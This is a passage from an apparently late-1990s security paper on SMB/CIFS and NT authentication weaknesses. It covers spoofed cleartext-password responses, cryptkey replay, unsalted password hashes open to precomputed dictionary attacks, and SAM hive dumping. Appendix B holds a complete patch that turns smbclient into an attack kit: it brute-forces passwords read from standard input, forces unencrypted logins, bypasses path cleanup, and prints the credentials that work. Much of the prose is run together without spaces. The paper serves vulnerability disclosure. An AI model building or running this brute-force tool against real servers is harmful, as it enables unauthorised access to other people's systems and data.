fake server responsetells a client to use observable cleartext passwords. Since the fake responsepacket only needs one changed payload bit and different checksums, this attackis undetectable since a later real response is simply discarded by the TCPtransport. A more interesting attack involves taking the cryptkey from onesession and network-spoofing it into a victim's later one; the victim'sresulting 24-byte response is used to authenticate the first session instead.Here, CIFS makes the cryptographically naive error of letting the client user"sign" the arbitrary data in the cryptkey instead of a hash that includes it.The application user interfaces in general encourage the historically badpractice for all users to choose the same password across many differentmachines, even across different NT domains. This is held forth as a single-sign-on model, but standard elements of a real SSO system such as time-limitedsession credentials never enter the picture at all. The implementation alsois in many ways too restrictive for most real-world environments. How doesone go about the sounder practice of having separate accounts for separatemachines or groups thereof? Some utilities will ask for another passwordand try again if the cached login password isn't correct for a differentserver, but this doesn't work everywhere. Example: The NT "net" utilityaccepts a "/USER:othername" switch when doing a "net use", but not when doinga "net view". Remote registry editing and related tools first try to use thecredentials from the console login, and if that doesn't work either ask for analternate password or simply fail. Sometimes a way to specify a completelyalternate login is necessary, but NT's designers seems to have ignored thisand not even provided a global "net logon" facility like under WFWG. Oftenone is forced to create new local accounts and passwords, or use some otherband-aid workaround, just to authenticate some underdesigned application to aremote system.The OWF hashes do not directly reveal a user's plaintext password but ifsomehow obtained, can be directly used for authentication as well as input toan offline dictionary attack. Directly storing them therefore reduces thesecurity to about the level of burying plaintext passwords inside scripts andthinking "well, the script is hidden, so the password is safe." Microsofttries to crock around this recognized decades-old problem by re-encryptingthe hashes under some *other* key that is often stored in some obscure butnonetheless findable place. Authentication information is also cached invarious places such as .PWL files and registry entries, to support the"automatic drive reconnect" stuff. NT apparently also stores informationabout the last ten domain-level user logons in the registry, for use in caseswhen the PDC is unreachable.Since there is no salting in the OWF transform, even the generic old Unixcrypt() algorithm is stronger than this scheme. An entire dictionary's worthof passwords and permutations thereof can be *precomputed* and stored, whichreduces an OWF dictionary attack to a big database lookup. The block-mode ECBencryption scheme further implies that only the first 8 bytes of the OWF hashreally need to be saved; a successful 8-byte match not only brackets a greatlyreduced dictionary segment, it directly reveals the first seven characters ofa LANMAN-style password. Related to this is that the challenge-responseprotocol also uses simple ECB of a known plaintext with no chaining orfeedback. Response keys derived from the OWF are invariant and can besimilarly precomputed. The first stage of an attack on a recorded sessionsetup only requires the cryptkey and the first 8 bytes from both theprecomputed response dictionary and the 24-byte response, and DES encryptionof a single block determines whether to bother with the remaining two. Again,cracking just the first block can index down to a much smaller chunk of thedictionary. Under NT LM dialect, NT clients usually send *both* responsetypes in the SetupAndX, which again defeats the whole purpose of the NT stylepassword since cracking the plaintext of the reduced keyspace LANMAN passwordcan serve as a template for cracking the user's "real" NT password.Normally the SAM registry section on an NT server is protected againstreading. An adminstrator can nonetheless take ownership of the whole SAMhive, and dump out various subkeys under Domains\Account\Users\{hex-values}.It is fairly clear from diffing ASCII hive dumps that the 32 bytes at the endof the respective "V" binary blocks correspond to OWF password storage. Wecan observe corresponding changes to at least the same-length fields in theSamba "smbpasswd" file. The 32 bytes represent the LANMAN and NT OWF hashes,but on NT are re-encrypted under some other set of keys. Attempts to findthese meta-keys by trying likely-looking DES-size blocks elsewhere around theregistry have thus far failed, but the answer may be discoverable with alittle more effort. Anyone who already knows the true magic here is of courseencouraged to speak up, even if anonymously.Inter-domain trust relationships are another NT-specific issue and were notstudied here, but surely need to be investigated more closely. Variousdocumentation mentions that a "secure channel" is established between domaincontrollers using the special DOMAIN$ accounts and a some kind of "secretobject" which apparently is often derived from a human-chosen password. Thechannel is apparently an RPC session, but is it truly encrypted, and if so,how? Would this imply that some mechanism for encrypted SMB does exist afterall, but for some reason is not made available to the end users? What aboutbackup domain-controller replication, which implies that one machine can suckdown the entire SAM database of another? How about an analysis of encryptionacross PPTP VPNs? Someone else may be able to answer these questions too.Appendix B: The Patch Kit=========================This illustrates some minimal changes needed to turn smbclient into arudimentary attack kit. It does not cover *every* possibility of protocolweakness by any means, but is enough to get going with some fairly serioushost-level attacks. Briefly, the following changes are effected: Adds the interpret_error routine to help straighten out server errors Corrects conversion of security mode Loops forever reading new trial passwords from standard input No-ops out the dos_clean_name() path cleanup routine, and allows changing to what appear to be "bad" directory paths. Fixes nmblookup to use local UDP port 137 and verbatim scope IDApply the patch using your favorite method for doing so; extracting it to afile and doing "patch < file" generally suffices. Configure the Makefile foryour platform, and add -DATTACK to FLAGS1. If you want all passwordsautomatically uppercased, also add -DUPPERCASE. This is optional, sincemixed-case passwords are sometimes needed. Don't define PASSWD_FLAGS, so theclient cannot use password encryption. Finally, do "make smbclient nmblookup"to build the two programs.These changes are decidedly quick and dirty, but should illustrate how tobegin putting together a much more sophisticated tool. Looking a littlefarther forward immediately shows several improvements not implemented here:The send_login routine covers three important steps in one linear shot andshould be split up into its logically separate SMB steps. Several morecommands can be added, to swap between arbitrary sharenames, UIDs, TIDs andother possibly relevant parameters. Overall, the entire breakin scenariocan be highly automated. !-- chop --!*** client.c Mon Jan 15 03:56:44 1996--- attack/client.c Thu Jan 30 23:14:59 1997****************** 80,81 ****--- 80,152 ---- + /* Avian Research demo "SMBAttack" patch kit. _H*/+ #ifdef ATTACK+ unsigned int cur_err;+ + #define dos_clean_name donothing+ void donothing () { return; }+ + #define getpass readpass+ char * readpass (prompt)+ char * prompt;+ {+ char pb [256];+ char * pp = NULL;+ + DEBUG(1,(prompt));+ pp = fgets (pb, 128, stdin);+ if (feof (stdin)) exit (0);+ if (pp) {+ pp [(strlen (pp) - 1)] = '\0'; /* rip the newline */+ #ifdef UPPERCASE+ strupper (pp); /* maybe upcase it? XXX */+ #endif+ strcpy (password, pp); /* and save it */+ }+ return (pp);+ } /* readpass */+ + /****************************************************************************+ The error returns from various platforms are many and varied, but all of+ them mean a couple of basic things. This boils relevant ones down roughly+ to common server-class status, i.e.:+ 0 success+ 2 access denied, or wrong username/passwd for session OR share+ 5 network-ID not found, for session+ 6 sharename not found, TCon problem+ 1 anything else, probably fatal, including disabled accounts,+ negotiation problems, etc+ ****************************************************************************/+ static int interpret_error (rcls, err)+ unsigned char rcls;+ uint16 err;+ {+ if ((rcls == 0) && (err == 0)) return (0); /* no error */+ if (rcls == ERRSRV) {+ if (err == 1) return (1); /* non-specific error */+ if (err == 2) return (2); /* bad name or password */+ if (err == 4) return (1); /* insufficient access for function */+ if (err == 5) return (5); /* invalid TID */+ if (err == 6) return (6); /* invalid network name */+ if (err == 7) return (6); /* invalid device */+ if (err == 1311) return (1); /* no login servers available [?] */+ if (err == 2239) return (1); /* account expired or disabled */+ } /* ERRSRV */+ if (rcls == ERRDOS) {+ if (err == 5) return (2); /* access denied */+ if (err == 65) return (1); /* network access denied */+ if (err == 67) return (6); /* network name not found */+ if (err == 71) return (1); /* no more connections */+ if (err == 86) return (2); /* network password incorrect */+ if (err == 87) return (1); /* parameter incorrect */+ if (err == 90) return (1); /* too many UIDs */+ /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so wtf. */+ if (err == 2240) return (1); /* access denied from this WS */+ if (err == 2241) return (1); /* access denied at this time */+ if (err == 2242) return (1); /* password expired */+ if (err == 2247) return (1); /* security database corrupted */+ if (err == 2455) return (1); /* invalid workgroup */+ } /* ERRDOS */+ return (1); /* didn't find any mapping */+ } /* interpret_error */+ #endif /* ATTACK */ ****************** 171,172 ****--- 242,247 ---- SSVAL(outbuf,smb_flg2,0x1);+ #ifdef ATTACK+ SCVAL(outbuf,smb_flg,0x18); /* already-canonical filenames */+ SSVAL(outbuf,smb_flg2,0x2001); /* execute perm == read perm [?] */+ #endif /* ATTACK */ }****************** 282,283 ****--- 357,364 ---- + #ifdef ATTACK+ /* we don't care if it's a bad path or not */+ if (report && CVAL(inbuf,smb_rcls) != 0)+ DEBUG(2,(" [but continuing anyway]\n"));+ return (True);+ #endif /* ATTACK */ return(CVAL(inbuf,smb_rcls) == 0);****************** 447,450 ****--- 528,533 ---- strcpy(dname,cur_dir);+ #ifndef ATTACK strcat(cur_dir,"\\"); dos_clean_name(cur_dir);+ #endif /* ATTACK */ ****************** 834,837 **** if (CVAL(inbuf,smb_rcls) != 0) return(False);! /* parse out the lengths */--- 917,927 ---- if (CVAL(inbuf,smb_rcls) != 0)+ #ifdef ATTACK+ /* show us why */+ {+ DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));+ return (False);+ }+ #else return(False);! #endif /* ATTACK */ /* parse out the lengths */****************** 3014,3016 **** ! DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1))); DEBUG(3,("max xmt %d\n",max_xmit));--- 3104,3106 ---- ! DEBUG(3,("Sec mode %d\n",sec_mode)); /* fixt. _H*/ DEBUG(3,("max xmt %d\n",max_xmit));****************** 3020,3021 ****--- 3110,3119 ---- doencrypt = ((sec_mode & 2) != 0);+ #ifdef ATTACK+ /* don't encrypt, period */+ doencrypt = 0;+ /* don't screw with SessSetupX step unless we genuinely need it */+ use_setup = ((sec_mode & 1) != 0);+ /* always read a password anyways */+ got_pass = 0;+ #endif /* ATTACK */ ****************** 3103,3104 ****--- 3201,3211 ---- + #ifdef ATTACK+ cur_err = interpret_error (+ CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));+ if (cur_err == 2) {+ DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));+ goto get_pass;+ }+ #endif /* ATTACK */+ if (CVAL(inbuf,smb_rcls) != 0)****************** 3129,3130 ****--- 3236,3241 ---- + #ifdef ATTACK+ /* we're in */+ DEBUG(0,("session established as %s/%s\n", username, password));+ #endif /* ATTACK */ if (Protocol >= PROTOCOL_NT1) {****************** 3193,3194 ****--- 3304,3313 ---- + #ifdef ATTACK+ cur_err = interpret_error (+ CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));+ if (cur_err == 2) {+ DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));+ goto get_pass;+ }+ #endif /* ATTACK */ /* trying again with a blank password */****************** 3217,3219 **** ! max_xmit = MIN(max_xmit,BUFFER_SIZE-4);--- 3336,3341 ---- ! #ifdef ATTACK! /* we're in */! DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));! #endif /* ATTACK */ max_xmit = MIN(max_xmit,BUFFER_SIZE-4);****************** 3863,3865 **** receive_smb(Client,buffer,0);! #ifdef CLIX--- 3985,3991 ---- receive_smb(Client,buffer,0);! #ifdef ATTACK! /* don't send chkpath-keepalives on a nonexistent tcon */! if (cnum == 0)! continue;! #endif /* ATTACK */ #ifdef CLIX****************** 4043,4044 ****--- 4169,4177 ---- umask(myumask);+ #ifdef ATTACK+ /* oh, c'mon. */+ pid = 2048;+ uid = 0;+ gid = 0;+ mid = 2048;+ #endif /* ATTACK */ *** nmblookup.c Thu Jan 30 20:52:47 1997--- attack/nmblookup.c Tue Jan 21 01:39:16 1997****************** 54,56 ****--- 54,60 ---- + #ifdef ATTACK+ ServerFD = open_socket_in(SOCK_DGRAM, 137,3);+ #else ServerFD = open_socket_in(SOCK_DGRAM, 0,3);+ #endif /* ATTACK */ ****************** 142,144 ****--- 146,150 ---- strcpy(scope,optarg);+ #ifndef ATTACK strupper(scope);+ #endif /* ATTACK */ break; !-- chop --!Appendix C: Overview of an SMB packet=====================================This is [roughly] the structure of an SMB packet as found inside the TCPpayload and Samba's internal buffers. The leading length integer is not partof the SMB proper, and does not always appear under other transport types.For further details, see CIFS section 2.4.offset name size contents / comments~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0 [length int.] 4 TCP transport-layer data length 4 header start 4 0xFF, 'S', 'M', 'B' 8 SMB command 1 cmd code 9 smb_rcls 2 error class; 0 = no error11 smb_err 2 error code ; 0 = no error13 smb_flg 114 smb_flg2 216 [filler] 1228 TID 230 PID 232 UID 234 MID 236 word count 1 number of following parameter words37 smb_vwv0 2 0x00FF [intel order] if no AndX cmd39 smb_vwv1 2 0x0000 if no batched AndX stuff41 smb_vwv2 2 ... ... to a variable length's worth ...?? buffers * smb_buf() finds this offset ... SMB ends at (TCP-len + 4) ..._H* 970130